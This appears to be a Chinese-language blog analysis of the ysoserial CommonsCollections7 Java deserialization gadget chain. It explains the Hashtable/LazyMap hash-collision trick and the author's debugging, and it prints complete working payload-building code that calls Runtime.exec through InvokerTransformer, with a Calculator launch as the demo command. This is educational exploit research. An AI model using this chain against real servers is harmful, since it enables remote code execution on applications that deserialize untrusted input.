YsoSerial 工具常用Payload分析之Common-Collections7（四）

前言

YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个，回顾一下：

以InvokerTranformer为基础通过动态代理触发AnnotationInvocationHandler里面的Invoker方法调用LazyMap get方式的CC1
以TemplatesImpl为基础，通过TrAXFilter、InstantiateTransformer组合绑定LazyMap动态代理触发AnnotationInvocationHandler#Invoker方法方式的CC3
在CC1 Lazymap的基础上进一步包装成TiedMapEntry，并以BadAttributeValueExpException调用TiedMapEntry#toString方法的CC5
在CC5基础上将触发换成HashMap调用hashCode方式的CC6

调用栈

接下来先看下cc7的代码

public Hashtable getObject(final String command) throws Exception {

        // Reusing transformer chain and LazyMap gadgets from previous payloads

        final String[] execArgs = new String[]{command};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{

            new ConstantTransformer(Runtime.class),

            new InvokerTransformer("getMethod",

                new Class[]{String.class, Class[].class},

                new Object[]{"getRuntime", new Class[0]}),

            new InvokerTransformer("invoke",

                new Class[]{Object.class, Object[].class},

                new Object[]{null, new Object[0]}),

            new InvokerTransformer("exec",

                new Class[]{String.class},

                execArgs),

            new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();

        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);

        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);

        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable

        Hashtable hashtable = new Hashtable();

        hashtable.put(lazyMap1, 1);

        hashtable.put(lazyMap2, 2);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations

        lazyMap2.remove("yy");

        return hashtable;

    }

抓一下调用栈，可以看到依次调用的是Hashtable#reconstitutionPut，AdstractMap#equals方法。然后调用LazyMap的get方法。

其实调用链出来后一切都索然无味了，但我们还是要分析下调用链各个环节的一些关键点，首先看下Hashtable的readObject方法源码：

首先从序列化数据里面读取了elements，然后for循环便利elements次读取序列化里面的key、value值，这个elements和key、value分别是什么东西呢，找到writeObject寻找答案：

写入了类变量count、然后迭代分别写入了类变量table中entry的key、value，其实就是hashtable中的key、value，只不过内部实现是通过entry链表实现，然后跟进reconstitutionPut, 这里有个key的关键方法e.key。equals，结合前文我们分析过TiedMapEntry的equals可以触发Lazymap的get进而RCE，其实直接使用TiedMapEntry#equal也是可以触发的，这里就不展开TiedMapEntry吧，没啥太大的意义，就按照Ysoserial作者思路来。

挖掘利用链

前面文章介绍了LazyMap#Get()方法触发RCE的方法，来回忆下LazyMap触发的调用链，当LazyMap调用get方法是，回去寻找绑定LazyMap中的是否存在key，不存在就通过transform方法去生成，而这个transformer是恶意的，那就触发命令执行：

其实下一步就放在有谁能够调用lazyMap的get方法，除开之前介绍的tiedMapEntity之外，还有LazyMap本身也能调用，在LazyMap绑定的是HashMap的情况下，调用LazyMap#equals其实就是调用HashMap的接口AbstractMap的equal方法，可以使用IDEA的findUsage方法，也能查到调用：

那触发的方法扩展到谁调用LazyMap的equal就好了，而这就和HashTable就绑定起来了，HashTable的readObject里面就有触发，但要满足两个条件：

table[index] 不为null。
因为&&是从左向右执行，所以要e.hash等于当前实参key的hash。

首先分析下Hashtable#readObject 的整体逻辑，因为在Hashtable中实现逻辑的Entry对象被transient修饰，所以序列化的时候不能将table数据放到序列化数据里面，所以在writeObject时会单独写入key、value，readObject时重新put进entry当中。table的数量通过类变量count控制。

在迭代第一次传入key、value时tab始终为空，所以要调用到equal至少要迭代两次，也就要求table中的元素大于等于2，且两个元素的key的hash值要一样，那在构造除开hash一样，还要求equals执行为false，不然就会用新元素的value替换旧元素，这样table总的size就只为1，无法触发反序列化RCE。

寻找hashCode()一样，但又不相等的元素

那真的存在这样的两个值吗？答案当然是存在，以String为例，我们看一下String的hashCode算法

核心逻辑就是：

h=31*h + val[i]

h初始值为0，将字符串拆分为字符，每次对结果乘以31再累加，那可以确定相同的h值，肯定对应不同的val[i]解，比如aa和bB,看一下结果：

那是不是我们就找到了符合作为Hashtable的key了，其实不是，我们想要执行的其实是Lazy Map的hashcode一致，内部其实是map的hashcode，找一下hashmap的实现，对key做hashcode，然后异或上value的hashcode：

其实只要key的hashcode一样，然后value一样就能满足，试验下：

结果：

创造两个元素的HashTable

在上面已经找到hash一样的HashMap的前提下，绑定到LazyMap上，然后分别push进HashTable，然后进行反序列化：

 //        Hashtable

        String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator";

        System.out.println(System.getProperty("java.version"));

        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),

                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),

                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})

        };

        Transformer[] fakeTransfomer = new Transformer[]{

                new ConstantTransformer(1)

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);

        Map innerMap1 = new HashMap();

        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);  // 生成了LazyMap  不可反序列化的map

        lazyMap1.put("aa",1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);

        lazyMap2.put("bB",1);

        Hashtable hashtable = new Hashtable();

        hashtable.put(lazyMap1,1);

        hashtable.put(lazyMap2,2);

        ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);

        String path =  serialize(hashtable);

        unserialize(path);

执行下，命令并没有执行：

看样子什么地方出了问题，打印下Hashtable的size，发现size为1，说明第二次put的时候出了问题，调试下发现问题出在了，AbstractMap上，因为我们为了避免序列化时执行命令将chainedTransfomer里面的transfoemer数组用constranTransfrom（1）替代，命名为fakeTransfomer，而这个fakeTransformer执行后的结果为1，和hashtable的value1一致，所以会返回true。

hash和equl的判断都为true，就会进入if分支，完成新旧变量替换，而不会新增元素，所以size始终为1

修改fakeTransfomer为一个空数组，或者将hashTable的value为其他值，为了更通用这里采用空数组的方式：

Transformer[] fakeTransfomer = new Transformer[]{

        };

ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);

再次执行，代码还是没有执行，打印size也是2，是满足条件的，但为啥命令没有执行呢，再次调试，发现问题出在了equal的判断上，equal的判断要求首先要满足两个hashMap的元素数量一致才能进行下一步的判断，而在put时也会执行equal，调用到m.get()方法，而m是一个LazyMap，在LazyMap#get() 方法存在一个特性，就是在绑定到HashMap没有这个元素的时候，动态添加一个这个没有的元素，

所以在LazyMap2进行put操作时，会去get（lazyMap1.key），lazyMap1的key为"aa"，所以lazyMap2会多一个aa为key，aa为value的元素（transformer数组为空时的执行结果），在put后打印下lazyMap2验证下：

果然，因为两个map Size的判断在前面，这样就不会执行后续进行RCE的get方法

所以，需要我们在第二次put后，把第二个hashmap进行remove一个key为aa的操作，完整代码：

//        Hashtable

        String cmd="/System/Applications/Calculator.app/Contents/MacOS/Calculator";

        System.out.println(System.getProperty("java.version"));

        Transformer[] transformers = new Transformer[]{

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),

                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),

                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})

        };

        Transformer[] fakeTransfomer = new Transformer[]{

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransfomer);

        Map innerMap1 = new HashMap();

        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);  // 生成了LazyMap  不可反序列化的map

        lazyMap1.put("aa",1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);

        lazyMap2.put("bB",1);

        Hashtable hashtable = new Hashtable();

        hashtable.put(lazyMap1,1);

        hashtable.put(lazyMap2,2);

        lazyMap2.remove("aa");

        System.out.println(hashtable.size());

        ReflectUtils.setFields(chainedTransformer,"iTransformers", transformers);

        String path =  serialize(hashtable);

        unserialize(path);

执行一下，命令成功执行：

YsoSerial的代码几乎一致仅就把我这里的aa和aB替换成yy和zZ。

总结

这篇文章分析了下CC7的原理，本来上周五应该就能发出文章的，但是却因为文中那个fakeTransfomer的原因一直被卡住，不知道问题出在哪里，找了很多朋友看也没看出问题，最终还是老老实实一步一步的调试才发现问题，以前只关注transformer的构造，没关注最终的返回，难搞～，期间也去学习了下Java的值传递类型和HashMap实现原理等，消耗了比较长的时间。

这是Common-collections 3.2.1的最后一条利用链分析，这个也是没有版本依赖的，我用jdk1.8u261也是能够运行的，总结下代码中关键点：

要找到两个元素hashcode一样，但euqal的结果又为false的hashmap。
使用fakeTransfomer时要关注返回满足HashTable元素大雨等于2。
在第二次put过后要对第二个HashMap进行remove（remove第一个hashmap的key）。